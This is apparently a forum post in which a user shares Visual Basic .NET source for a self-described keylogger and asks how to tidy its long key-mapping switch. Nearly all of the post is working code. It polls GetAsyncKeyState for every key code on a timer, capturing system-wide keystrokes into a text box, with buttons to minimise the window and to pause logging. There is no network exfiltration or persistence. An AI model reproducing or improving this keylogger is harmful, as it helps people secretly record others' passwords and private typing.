I'm currently working on a keylogger for educational purposes and I'm wondering how I can improve this code:
Spoiler (Click to View)
I know that adding tons of cases is pretty unprofessional, but what would be a better way of doing this?
Spoiler (Click to View)
Code
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Dim typein As String
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
For logger = 1 To 255
typein = GetAsyncKeyState(logger)
If typein = -32767 Then
Select Case logger
Case 8
rtb1.Text += "[Backspace]"
Case 9
rtb1.Text += "[Tab]"
Case 13
rtb1.Text += "[Enter]" & vbNewLine
Case 16
rtb1.Text += "[Shift]"
Case 17
rtb1.Text += "[Ctrl]"
Case 19
rtb1.Text += "[Pause Break]"
Case 20
rtb1.Text += "[CapsLock]"
Case 27
rtb1.Text += "[Esc]"
Case 32
rtb1.Text += " "
Case 37
rtb1.Text += "[Left]"
Case 38
rtb1.Text += "[Up]"
Case 39
rtb1.Text += "[Right]"
Case 40
rtb1.Text += "[Down]"
Case 44
rtb1.Text += "[PrtSc]"
Case 45
rtb1.Text += "[Ins]"
Case 46
rtb1.Text += "[Del]"
Case 48
rtb1.Text += "0"
Case 49
rtb1.Text += "1"
Case 50
rtb1.Text += "2"
Case 51
rtb1.Text += "3"
Case 52
rtb1.Text += "4"
Case 53
rtb1.Text += "5"
Case 54
rtb1.Text += "6"
Case 55
rtb1.Text += "7"
Case 56
rtb1.Text += "8"
Case 57
rtb1.Text += "9"
Case 65
rtb1.Text += "a"
Case 66
rtb1.Text += "b"
Case 67
rtb1.Text += "c"
Case 68
rtb1.Text += "d"
Case 69
rtb1.Text += "e"
Case 70
rtb1.Text += "f"
Case 71
rtb1.Text += "g"
Case 72
rtb1.Text += "h"
Case 73
rtb1.Text += "i"
Case 74
rtb1.Text += "j"
Case 75
rtb1.Text += "k"
Case 76
rtb1.Text += "l"
Case 77
rtb1.Text += "m"
Case 78
rtb1.Text += "n"
Case 79
rtb1.Text += "o"
Case 80
rtb1.Text += "p"
Case 81
rtb1.Text += "q"
Case 82
rtb1.Text += "r"
Case 83
rtb1.Text += "s"
Case 84
rtb1.Text += "t"
Case 85
rtb1.Text += "u"
Case 86
rtb1.Text += "v"
Case 87
rtb1.Text += "w"
Case 88
rtb1.Text += "x"
Case 89
rtb1.Text += "y"
Case 90
rtb1.Text += "z"
Case 91
rtb1.Text += "[Win]"
Case 96
rtb1.Text += "0"
Case 97
rtb1.Text += "1"
Case 98
rtb1.Text += "2"
Case 99
rtb1.Text += "3"
Case 100
rtb1.Text += "4"
Case 101
rtb1.Text += "5"
Case 102
rtb1.Text += "6"
Case 103
rtb1.Text += "7"
Case 104
rtb1.Text += "8"
Case 105
rtb1.Text += "9"
Case 106
rtb1.Text += "*"
Case 107
rtb1.Text += "+"
Case 109
rtb1.Text += "-"
Case 110
rtb1.Text += "."
Case 111
rtb1.Text += "/"
Case 112
rtb1.Text += "[F1]"
Case 113
rtb1.Text += "[F2]"
Case 114
rtb1.Text += "[F3]"
Case 115
rtb1.Text += "[F4]"
Case 116
rtb1.Text += "[F5]"
Case 117
rtb1.Text += "[F6]"
Case 118
rtb1.Text += "[F7]"
Case 119
rtb1.Text += "[F8]"
Case 120
rtb1.Text += "[F9]"
Case 121
rtb1.Text += "[F10]"
Case 122
rtb1.Text += "[F11]"
Case 123
rtb1.Text += "[F12]"
Case 144
rtb1.Text += "[NumLk]"
Case 164
rtb1.Text += "[Alt]"
Case 165
rtb1.Text += "[Alt]"
Case 186
rtb1.Text += ";"
Case 187
rtb1.Text += "="
Case 188
rtb1.Text += ","
Case 189
rtb1.Text += "-"
Case 190
rtb1.Text += "."
Case 191
rtb1.Text += "/"
Case 192
rtb1.Text += "`"
Case 219
rtb1.Text += "["
Case 220
rtb1.Text += "\"
Case 221
rtb1.Text += "]"
Case 222
rtb1.Text += "'"
End Select
End If
Next
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
If Timer1.Enabled = True Then
Timer1.Enabled = False
Button2.Text = "Resume Keylogger"
ElseIf Timer1.Enabled = False Then
Timer1.Enabled = True
Button2.Text = "Pause Keylogger"
End If
End Sub
End ClassI know that adding tons of cases is pretty unprofessional, but what would be a better way of doing this?
